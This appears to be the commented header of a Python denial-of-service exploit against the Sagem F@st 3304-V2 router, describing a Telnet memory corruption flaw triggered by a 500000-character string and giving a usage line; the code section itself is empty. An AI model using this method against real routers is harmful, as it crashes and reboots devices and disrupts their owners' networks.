# Vulnerability description:

#==========================

#A Memory Corruption Vulnerability is detected on Sagem F@st 3304-V2 Telnet service. An attacker can crash the router by sending a very long string.

#This exploit connects to Sagem F@st 3304-V2 Telnet (Default port 23) and sends a very long string "X"*500000.

#After the exploit is sent, the telnet service will crash and the router will reboot automatically.

#Usage: python SagemDos.py "IP address"

# Code

#========================================================================
